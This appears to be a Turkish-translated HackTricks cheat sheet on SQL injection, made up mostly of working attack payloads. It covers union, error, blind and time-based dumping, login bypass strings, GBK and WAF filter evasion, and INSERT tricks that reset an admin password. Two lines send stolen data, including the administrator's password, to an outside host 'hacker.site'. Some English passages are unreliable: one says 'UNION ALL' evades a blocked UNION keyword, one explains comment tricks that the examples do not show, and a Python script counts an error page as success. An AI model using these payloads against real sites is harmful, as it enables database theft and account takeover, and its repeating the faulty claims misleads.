SQL Injection

SQL Injection

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

​​​​RootedCON İspanya'daki en önemli siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilginin yayılmasını amaçlayan bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.

SQL enjeksiyonu nedir?

Bir SQL enjeksiyonu, bir uygulamanın veritabanı sorgularına müdahale etmeyi sağlayan bir güvenlik açığıdır. Bu zafiyet, saldırganların, erişmemeleri gereken diğer kullanıcıların bilgileri veya uygulamanın erişebileceği herhangi bir veri dahil olmak üzere erişmemeleri gereken verileri görüntülemelerine, değiştirmelerine veya silmelerine olanak tanır. Bu tür eylemler, uygulamanın işlevselliği veya içeriği üzerinde kalıcı değişikliklere veya hatta sunucunun veya hizmetin kullanılamaz hale gelmesine neden olabilir.

Giriş noktası tespiti

Bir site, SQL enjeksiyonuna (SQLi) karşı savunmasız görünüyorsa, SQLi ile ilgili girişlere alışılmadık sunucu yanıtları nedeniyle, ilk adım, sorguya müdahale etmeden veri enjekte etmeyi nasıl anlayacağımızı öğrenmektir. Bunun için mevcut bağlamdan etkili bir şekilde kaçınma yöntemini belirlemek gerekmektedir. İşte bazı faydalı örnekler:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Ardından, sorguyu hataları düzeltmek için nasıl düzelteceğinizi bilmelisiniz. Sorguyu düzeltmek için yeni verileri giriş yapabilirsiniz, veya sadece kendi verilerinizi girebilir ve sonuna bir yorum sembolü ekleyebilirsiniz.

Not edin ki, hata mesajlarını görebiliyorsanız veya bir sorgu çalışırken ve çalışmadığı zaman farklılıkları fark edebiliyorsanız, bu aşama daha kolay olacaktır.

Yorumlar

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Mantıksal işlemlerle doğrulama

Bir SQL enjeksiyon açığı doğrulamak için güvenilir bir yöntem, bir mantıksal işlem gerçekleştirip beklenen sonuçları gözlemlemektir. Örneğin, ?username=Peter gibi bir GET parametresi, ?username=Peter' or '1'='1 şeklinde değiştirildiğinde aynı içeriği üretiyorsa, bu bir SQL enjeksiyon açığına işaret eder.

Benzer şekilde, matematiksel işlemlerin uygulanması etkili bir doğrulama tekniği olarak kullanılabilir. Örneğin, ?id=1 ve ?id=2-1 erişimleri aynı sonucu üretiyorsa, bu bir SQL enjeksiyonunun varlığını gösterir.

Mantıksal işlem doğrulamasını gösteren örnekler:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Bu kelime listesi, önerilen yöntemle SQL enjeksiyonlarını doğrulamak için oluşturulmuştur:

Zamanlama ile Doğrulama

Bazı durumlarda, test ettiğiniz sayfada herhangi bir değişiklik fark etmeyebilirsiniz. Bu nedenle, kör SQL enjeksiyonlarını keşfetmenin iyi bir yolu, veritabanının eylemler gerçekleştirmesini sağlamak ve sayfanın yüklenme süresine etkisi olacak bir işlemi SQL sorgusuna birleştirmektir.

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

Bazı durumlarda sleep fonksiyonlarına izin verilmeyebilir. Bu durumda, bu fonksiyonları kullanmak yerine sorguyu birkaç saniye sürecek karmaşık işlemler gerçekleştiren şekilde yapabilirsiniz. Bu tekniklerin örnekleri, her bir teknoloji için ayrı ayrı açıklanacaktır (varsa).

Arka Uç Tanımlama

Arka ucu tanımlamanın en iyi yolu, farklı arka uçların fonksiyonlarını çalıştırmayı denemektir. Önceki bölümdeki sleep fonksiyonlarını veya bu tablodaki yöntemleri kullanabilirsiniz (payloadsallthethings tablosu):

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Ayrıca, sorgunun çıktısına erişiminiz varsa, veritabanının sürümünü yazdırabilirsiniz.

Devamında farklı türde SQL Injection'ları sömürmek için farklı yöntemleri tartışacağız. Örnek olarak MySQL kullanacağız.

PortSwigger ile Tespit Etme

Birleştirme Tabanlı Sömürme

Sütun Sayısını Belirleme

Eğer sorgunun çıktısını görebiliyorsanız, bunu sömürmek için en iyi yol budur. İlk olarak, başlangıç isteğinin döndürdüğü sütunların sayısını bulmamız gerekiyor. Çünkü her iki sorgu da aynı sayıda sütun döndürmelidir. Bu amaçla genellikle iki yöntem kullanılır:

Sıralama/Gruplama ile

Bir sorgunun sütun sayısını belirlemek için, ORDER BY veya GROUP BY ifadelerinde kullanılan sayıyı artırarak yanıt alınamayana kadar ayarlayın. SQL içinde GROUP BY ve ORDER BY'ın farklı işlevleri olmasına rağmen, her ikisi de sorgunun sütun sayısını belirlemek için aynı şekilde kullanılabilir.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Sorgu doğru olana kadar daha fazla null değeri seçin:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

null değerlerini kullanmalısınız çünkü bazı durumlarda sorgunun her iki tarafındaki sütunların türü aynı olmalıdır ve null her durumda geçerlidir.

Veritabanı adlarını, tablo adlarını ve sütun adlarını çıkarma

Aşağıdaki örneklerde, tüm veritabanlarının adını, bir veritabanının tablo adını ve tablonun sütun adlarını alacağız:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Her farklı veritabanında bu verileri keşfetmek için farklı bir yöntem vardır, ancak her zaman aynı metodoloji kullanılır.

Gizli Birleştirme Tabanlı Sömürme

Bir sorgunun çıktısı görünürken birleştirme tabanlı bir enjeksiyonun gerçekleştirilemez gibi görünmesi, gizli birleştirme tabanlı bir enjeksiyonun varlığını gösterir. Bu senaryo genellikle kör bir enjeksiyon durumuna yol açar. Kör bir enjeksiyonu birleştirme tabanlı bir enjeksiyona dönüştürmek için, arka uçta yürütülen sorgunun belirlenmesi gerekmektedir.

Bu, hedef Veritabanı Yönetim Sistemi (DBMS) için varsayılan tablolarla birlikte kör enjeksiyon tekniklerinin kullanılmasıyla gerçekleştirilebilir. Bu varsayılan tabloları anlamak için, hedef DBMS'nin belgelerine başvurmanız önerilir.

Sorgu çıkarıldıktan sonra, orijinal sorguyu güvenli bir şekilde kapatmak için payload'ınızı özelleştirmeniz gerekmektedir. Ardından, payload'ınıza birleştirme sorgusu eklenir ve yeni erişilebilir birleştirme tabanlı enjeksiyonun sömürülmesi kolaylaştırılır.

Daha kapsamlı bilgilere ulaşmak için Healing Blind Injections adlı tam makaleye başvurun.

Hata Tabanlı Sömürme

Eğer bir nedenden dolayı sorgunun çıktısını göremiyorsanız ancak hata mesajlarını görebiliyorsanız, bu hata mesajlarını kullanarak veritabanından veri sızdırabilirsiniz. Birleştirme tabanlı sömürüde olduğu gibi benzer bir akışı takip ederek veritabanını dökümleyebilirsiniz.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Kör SQLi Sömürüsü

Bu durumda, sorgunun sonuçlarını veya hataları göremeseniz de, sorgunun doğru bir yanıt mı yoksa yanlış bir yanıt mı döndürdüğünü ayırt edebilirsiniz çünkü sayfada farklı içerikler bulunur. Bu durumda, bu davranışı istismar ederek veritabanını karakter karakter dökümleyebilirsiniz:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Hata Tabanlı SQLi Sömürme

Bu, öncekiyle aynı durumdur, ancak sorgudan gelen doğru/yalancı yanıtları ayırt etmek yerine SQL sorgusunda bir hata olup olmadığını ayırt edebilirsiniz (belki de HTTP sunucusu çöktüğü için). Bu durumda, her doğru tahmini yaptığınızda bir SQL hatası zorlayabilirsiniz:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Zaman Temelli SQLi Sömürüsü

Bu durumda, sorgunun yanıtını sayfanın bağlamına göre ayırt etmenin bir yolu yoktur. Ancak, tahmin edilen karakter doğruysa sayfanın daha uzun sürede yüklenmesini sağlayabilirsiniz. Daha önce bir SQLi zafiyetini doğrulamak için bu teknik kullanıldığını görmüştük.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Yığılmış Sorgular

Yığılmış sorguları kullanarak ardışık olarak birden fazla sorguyu yürütebilirsiniz. İkinci bir sorgu kullanarak DNS sorgusu, koşullu hata veya zaman gecikmesi tetikleyebileceğiniz kör zafiyetler ile ilgili olarak bu teknik öncelikle kullanışlıdır. Ancak, ardışık sorguların yürütülmesine rağmen, sonuçlar uygulamaya geri döndürülmez.

Oracle, yığılmış sorguları desteklemez. MySQL, Microsoft ve PostgreSQL ise destekler: BURAYA-SORGU-1; BURAYA-SORGU-2

Dışarıdan Sömürü

Eğer başka bir sömürü yöntemi işe yaramazsa, veritabanının bilgileri sizin kontrolünüzde olan harici bir sunucuya çıkarmasını sağlamayı deneyebilirsiniz. Örneğin, DNS sorguları aracılığıyla:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

XXE ile Veri Sızdırma Yoluyla Bağlantı Dışı Veri Çalma

XXE (XML External Entity) saldırısı, bir web uygulamasının XML işleme işlevselliğini kötüye kullanarak hassas verilerin sızdırılmasına olanak tanır. Bu saldırı türü, hedef uygulamanın dışarıya çıkış yapmasına izin veren bir XXE zafiyeti bulunduğunda kullanılabilir.

Bu saldırı türünde, saldırgan XML dökümanına özel bir dış varlık (external entity) ekler. Bu dış varlık, saldırganın kontrolündeki bir sunucuya veya hedef dışında başka bir hedefe bağlantı kurabilir. Saldırgan, bu bağlantıyı kullanarak hassas verileri hedef uygulamadan çalabilir ve dışarıya aktarabilir.

XXE saldırısının bir varyasyonu olan "Out of band data exfiltration" ise, verilerin hedef uygulama dışında başka bir yolla çalınmasını sağlar. Bu yöntemde, saldırgan, dışarıya çıkartılan verileri hedef uygulamadan bağımsız bir şekilde alabilir. Örneğin, saldırgan, çalınan verileri kendi kontrolündeki bir sunucuya POST veya GET isteğiyle gönderebilir.

Bu saldırı türü, hedef uygulamanın ağa erişimi olmayan bir ortamda çalıştığı durumlarda kullanışlı olabilir. Ayrıca, hedef uygulamanın güvenlik önlemleri tarafından tespit edilmesi daha zor olabilir.

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Otomatik Sömürü

SQLi zafiyetini sqlmap ile sömürmek için SQLMap Hile Sayfası kontrol edin.

Teknik özel bilgiler

SQL Injection zafiyetini sömürmek için tüm yolları zaten tartıştık. Bu kitapta veritabanı teknolojisine bağlı olarak daha fazla hile bulabilirsiniz:

Veya MySQL, PostgreSQL, Oracle, MSSQL, SQLite ve HQL ile ilgili birçok hile https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection adresinde bulabilirsiniz.

​​​​​RootedCON, İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'nın en önemli etkinliklerinden biridir. Teknik bilginin yayılmasını amaçlayan bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.

Kimlik doğrulama atlatma

Giriş işlevselliğini atlatmaya çalışmak için aşağıdaki listeyi deneyin:

pageLogin bypass List

Ham hash kimlik doğrulama Atlatma

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Bu sorgu, kimlik doğrulama kontrollerinde MD5'in true ile kullanılması durumunda ortaya çıkan bir güvenlik açığını sergiler. Sistem, SQL enjeksiyonuna karşı savunmasız hale gelir. Saldırganlar, girişleri özel olarak oluşturarak, karma işlemi sonucunda beklenmeyen SQL komut parçalarının oluşmasını sağlayabilir ve bu da yetkisiz erişime yol açabilir.

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Enjekte edilmiş hash kimlik doğrulaması Atlatma

Bu teknik, SQL enjeksiyonu kullanarak bir web uygulamasında hash tabanlı kimlik doğrulamasını atlatmayı amaçlar. Hash tabanlı kimlik doğrulaması, kullanıcıların parolalarını veritabanında depolamak yerine, parolaların hash değerlerini depolayarak güvenlik sağlar. Ancak, bu teknik, saldırganın bir kullanıcının kimlik doğrulamasını atlatmasına olanak tanır.

Bu saldırı, kullanıcının kimlik doğrulaması için kullanılan SQL sorgusuna bir SQL enjeksiyonu ekleyerek gerçekleştirilir. Saldırgan, kullanıcının kimlik doğrulamasını atlatmak için bir hash değeri yerine bir SQL ifadesi enjekte eder. Bu, saldırganın istediği herhangi bir kullanıcının kimlik doğrulamasını atlatmasına olanak tanır.

Bu saldırıyı gerçekleştirmek için, saldırganın hedef web uygulamasında SQL enjeksiyonu açığı bulması gerekir. SQL enjeksiyonu açığı bulunduktan sonra, saldırgan, kimlik doğrulaması için kullanılan SQL sorgusuna bir SQL ifadesi enjekte ederek hash tabanlı kimlik doğrulamasını atlatır.

Bu saldırıyı önlemek için, web uygulamalarının güvenli kodlama uygulamalarını takip etmesi ve kullanıcı girişlerini doğru bir şekilde işlemesi önemlidir. Ayrıca, parametrelerin doğru bir şekilde sorguya eklenmesi ve kullanıcı girişlerinin doğrulanması da önemlidir.

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Önerilen liste:

Her satırı kullanıcı adı olarak kullanmalısınız ve her zaman şifre olarak: Pass1234. (Bu payloadlar, bu bölümün başında bahsedilen büyük listede de bulunmaktadır)

GBK Kimlik Doğrulama Atlama

Eğer ' karakteri kaçırılıyorsa, %A8%27 kullanabilirsiniz ve ' karakteri kaçırıldığında şu şekilde oluşturulur: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
import requests

def sql_injection(url, payload):
    # Construct the SQL injection payload
    payload = f"' OR {payload} -- "

    # Send the request with the payload
    response = requests.get(url + payload)

    # Check if the response indicates a successful SQL injection
    if "Error" in response.text:
        print("SQL injection successful!")
    else:
        print("SQL injection failed.")

# Example usage
url = "https://example.com/login"
payload = "1=1"
sql_injection(url, payload)
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Poliglot enjeksiyon (çoklu bağlam)

Polyglot injection, bir SQL enjeksiyon saldırısı tekniğidir ve birden fazla veritabanı yönetim sistemi (DBMS) tarafından yorumlanabilen bir SQL ifadesi oluşturmayı amaçlar. Bu, saldırganın farklı DBMS'lerde aynı enjeksiyonu kullanarak birden fazla hedefe saldırabilmesini sağlar.

Polyglot enjeksiyon, farklı DBMS'lerin farklı yorumlama kurallarını kullanarak çalışır. Bu nedenle, saldırgan, hedef DBMS'ye bağlı olarak uygun bir SQL ifadesi oluşturabilir. Bu teknik, saldırganın hedef DBMS'nin türünü belirlemesine gerek kalmadan saldırı yapmasını sağlar.

Polyglot enjeksiyon, saldırganın hedef DBMS'nin türünü bilmediği durumlarda özellikle kullanışlıdır. Bu teknik, saldırganın saldırı yüzeyini genişletmesine ve birden fazla hedefe saldırmasına olanak tanır. Ancak, her DBMS'nin farklı yorumlama kuralları olduğu için, polyglot enjeksiyonun başarılı olması için dikkatli bir şekilde planlanması ve test edilmesi gerekmektedir.

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert İfadesi

Mevcut nesne/kullanıcının şifresini değiştirme

Bunu yapmak için, muhtemelen kullanıcılar için "ana nesne" olarak adlandırılan bir nesne oluşturmayı denemelisiniz (muhtemelen admin):

  • AdMIn adında bir kullanıcı oluşturun (büyük ve küçük harflerle)

  • admin= adında bir kullanıcı oluşturun

  • SQL Kırpma Saldırısı (kullanıcı adında veya e-postada bir uzunluk sınırı olduğunda) --> admin [çok fazla boşluk] adında bir kullanıcı oluşturun

SQL Kırpma Saldırısı

Veritabanı savunmasızsa ve kullanıcı adı için maksimum karakter sayısı örneğin 30 ise ve admin kullanıcısını taklit etmek istiyorsanız, "admin [30 boşluk] a" adında bir kullanıcı adı oluşturmayı deneyin ve herhangi bir şifre belirleyin.

Veritabanı, tanıtılan kullanıcı adının veritabanında var olup olmadığını kontrol edecektir. Eğer yoksa, kullanıcı adını maksimum izin verilen karakter sayısına kadar kesecek (bu durumda "admin [25 boşluk]" olacak) ve ardından veritabanında kullanıcı "admin"i yeni şifreyle güncelleyerek tüm boşlukları otomatik olarak kaldıracaktır (bazı hatalar oluşabilir, ancak bu çalışmadığı anlamına gelmez).

Daha fazla bilgi için: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Not: Bu saldırı, en son MySQL kurulumlarında yukarıda açıklandığı gibi artık çalışmayacaktır. Karşılaştırmalar hala varsayılan olarak sondaki boşlukları görmezden gelirken, bir alanın uzunluğundan daha uzun bir dize eklemeye çalışmak bir hataya neden olacak ve ekleme başarısız olacaktır. Bu kontrol hakkında daha fazla bilgi için: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert zaman tabanlı kontrol

VALUES ifadesinden çıkmak için düşündüğünüz kadar ','','' ekleyin. Gecikme gerçekleşirse, bir SQL Injection'a sahipsiniz.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

MySQL'deki ON DUPLICATE KEY UPDATE ifadesi, bir UNIQUE indeks veya PRIMARY KEY'de yinelenen bir değer oluşturacak bir satır eklemeye çalışıldığında veritabanının alacağı eylemleri belirtmek için kullanılır. Aşağıdaki örnek, bu özelliğin bir yönetici hesabının şifresini değiştirmek amacıyla nasıl istismar edilebileceğini göstermektedir:

Örnek Enjeksiyon Payloağı:

Bir enjeksiyon payloağı aşağıdaki gibi oluşturulabilir, burada users tablosuna iki satır eklenmeye çalışılır. İlk satır bir tuzak, ikinci satır ise mevcut bir yöneticinin e-postasını hedefleyerek şifrenin güncellenmesi amacıyla kullanılır:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

İşleyişi şu şekildedir:

  • Sorgu, generic_user@example.com için bir satır ve admin_generic@example.com için başka bir satır eklemeye çalışır.

  • Eğer admin_generic@example.com için bir satır zaten mevcutsa, ON DUPLICATE KEY UPDATE ifadesi tetiklenir ve MySQL'e mevcut satırın password alanını "bcrypt_hash_of_newpassword" olarak güncellemesi talimatı verilir.

  • Sonuç olarak, kimlik doğrulama, "bcrypt_hash_of_newpassword" ile eşleşen şifreyle admin_generic@example.com kullanarak denenebilir. ("bcrypt_hash_of_newpassword", istenen şifrenin bcrypt hash'inin gerçek hash ile değiştirilmesi gereken yeni şifrenin bcrypt hash'ini temsil eder).

Bilgi çıkarma

Aynı anda 2 hesap oluşturma

Yeni bir kullanıcı ve kullanıcı adı, şifre ve e-posta oluşturmak için gereklidir:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Onluk veya onaltılık kullanma

Bu teknikle sadece 1 hesap oluşturarak bilgi çıkarabilirsiniz. Unutulmaması gereken önemli bir nokta, herhangi bir yorum yapmanıza gerek olmadığıdır.

hex2dec ve substr kullanarak:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Metni almak için şunu kullanabilirsiniz:

__import__('binascii').unhexlify(hex(215573607263)[2:])

hex ve replace (ve substr) kullanarak:

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

​​​​​​RootedCON İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilginin yayılmasını amaçlayan bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.

Routed SQL enjeksiyonu

Routed SQL enjeksiyonu, enjekte edilebilir sorgunun çıktıyı veren sorgu olmadığı durumlarda ortaya çıkar, ancak enjekte edilebilir sorgunun çıktısı çıktıyı veren sorguya gider. (Makaleden)

Örnek:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Geçişi

İlk geçişler buradan

Boşluk geçişi

Boşluk Yok (%20) - boşluk alternatifleri kullanarak geçiş yapma

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

SQL Injection: Whitespace Bypass Using Comments

In some cases, SQL injection payloads may be blocked or filtered based on the presence of whitespace characters. However, it is possible to bypass these restrictions by using comments within the SQL injection payload.

Technique

To bypass whitespace restrictions, you can use comments to effectively remove the whitespace characters from the payload. The following techniques can be used:

Single-line Comments

In SQL, single-line comments start with -- and continue until the end of the line. By using single-line comments, you can remove the whitespace characters from the payload.

For example, consider the following SQL injection payload:

SELECT * FROM users WHERE username = 'admin' --' AND password = 'password'

In this payload, the comment --' effectively removes the whitespace characters before the AND keyword, allowing the injection to bypass the whitespace restriction.

Multi-line Comments

In SQL, multi-line comments start with /* and end with */. By using multi-line comments, you can remove multiple whitespace characters from the payload.

For example, consider the following SQL injection payload:

SELECT * FROM users WHERE username = 'admin'/* AND password = 'password' */

In this payload, the multi-line comment /* AND password = 'password' */ effectively removes the whitespace characters before and after the AND keyword, allowing the injection to bypass the whitespace restriction.

Conclusion

By using comments within SQL injection payloads, you can bypass whitespace restrictions and successfully execute SQL injection attacks. However, it is important to note that this technique may not work in all scenarios, as it depends on the specific implementation and filtering mechanisms in place.

?id=1/*comment*/and/**/1=1/**/--

SQL Injection - Bypassing No Whitespace Filters using Parenthesis

When performing SQL injection attacks, it is common for web applications to implement filters that block certain characters, such as whitespaces. These filters are designed to prevent attackers from injecting malicious SQL code into the application.

However, in some cases, it is still possible to bypass these filters and successfully execute SQL injection attacks. One technique to achieve this is by using parentheses.

Bypassing No Whitespace Filters

Let's assume that the application is filtering whitespaces and does not allow them in user input. For example, the following SQL query is used to retrieve user information:

SELECT * FROM users WHERE username='[USER_INPUT]' AND password='[PASSWORD]'

To bypass the no whitespace filter, we can use parentheses to separate the SQL keywords and concatenate the injected code. Here's an example:

SELECT * FROM users WHERE username='admin' AND (1=1) OR '1'='1'--' AND password='[PASSWORD]'

In this example, we use parentheses to separate the injected code (1=1) OR '1'='1' from the rest of the query. The double dash -- is used to comment out the remaining part of the original query.

By using this technique, we can bypass the no whitespace filter and successfully execute the injected SQL code.

Conclusion

When faced with a no whitespace filter, using parentheses can be an effective technique to bypass the filter and successfully perform SQL injection attacks. However, it is important to note that each application may have different filters and security measures in place, so it is crucial to thoroughly test and understand the application's behavior before attempting any SQL injection attacks.

?id=(1)and(1)=(1)--

Virgül Bypassı

Virgül Bypassı - OFFSET, FROM ve JOIN kullanarak bypass yapma

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Genel Geçişler

Anahtar kelimeleri kullanarak siyah liste - büyük/küçük harf kullanarak geçiş yapma

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist using keywords case insensitive - bypass using an equivalent operator

Introduction

In some cases, web applications implement a blacklist to prevent SQL injection attacks. This blacklist typically consists of keywords that are commonly associated with SQL injection. However, if the blacklist is implemented in a case-insensitive manner, it can be bypassed using an equivalent operator.

Bypassing a Case-Insensitive Blacklist

To bypass a case-insensitive blacklist, you can use an equivalent operator that achieves the same result as the blocked keyword. Here are some examples:

  • If the keyword "OR" is blocked, you can use the equivalent operator "||" to achieve the same logical operation.

  • If the keyword "AND" is blocked, you can use the equivalent operator "&&" to achieve the same logical operation.

  • If the keyword "UNION" is blocked, you can use the equivalent operator "UNION ALL" to achieve the same result.

By using these equivalent operators, you can bypass the case-insensitive blacklist and successfully perform SQL injection attacks.

Conclusion

Implementing a case-insensitive blacklist to prevent SQL injection attacks can be bypassed by using equivalent operators. It is important for web application developers to be aware of this vulnerability and implement proper input validation and parameterized queries to mitigate the risk of SQL injection.

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Bilimsel Gösterim WAF atlatma

Bu hile hakkında daha detaylı bir açıklamayı gosecure blogunda bulabilirsiniz. Temel olarak, bilimsel gösterimi beklenmedik şekillerde kullanarak WAF'ı atlayabilirsiniz:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Sütun İsimleri Kısıtlamasını Aşma

Öncelikle, orijinal sorgu ve bayrak çıkarmak istediğiniz tablonun aynı miktarda sütuna sahipse, sadece şunu yapabilirsiniz: 0 UNION SELECT * FROM flag

Bir tablonun üçüncü sütununa ismini kullanmadan erişmek mümkündür. Aşağıdaki gibi bir sorgu kullanarak: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, bu nedenle bir sql enjeksiyonunda şu şekilde görünecektir:

# This is an example with 3 columns that will extract the column number 3
